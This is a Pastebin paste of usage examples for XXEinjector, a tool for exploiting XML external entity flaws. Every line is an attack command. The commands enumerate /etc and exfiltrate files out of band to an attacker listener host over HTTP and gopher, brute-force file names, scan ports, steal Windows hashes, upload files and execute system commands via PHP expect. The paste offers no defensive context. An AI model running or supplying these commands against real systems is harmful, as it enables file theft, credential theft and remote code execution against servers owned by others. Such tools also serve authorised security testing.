TVT618

XXEinjector Example usage

Jul 28th, 2018
1,751
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.34 KB | None | 0 0
  1. Enumerating /etc directory in HTTPS application:
  2. ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
  3. Enumerating /etc directory using gopher for OOB method:
  4. ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
  5. Second order exploitation:
  6. ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
  7. Bruteforcing files using HTTP out of band method and netdoc protocol:
  8. ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
  9. Enumerating using direct exploitation:
  10. ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
  11. Enumerating unfiltered ports:
  12. ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
  13. Stealing Windows hashes:
  14. ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
  15. Uploading files using Java jar:
  16. ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
  17. Executing system commands using PHP expect:
  18. ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
  19. Testing for XSLT injection:
  20. ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
  21. Log requests only:
  22. ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
Advertisement
Add Comment
Please, Sign In to add comment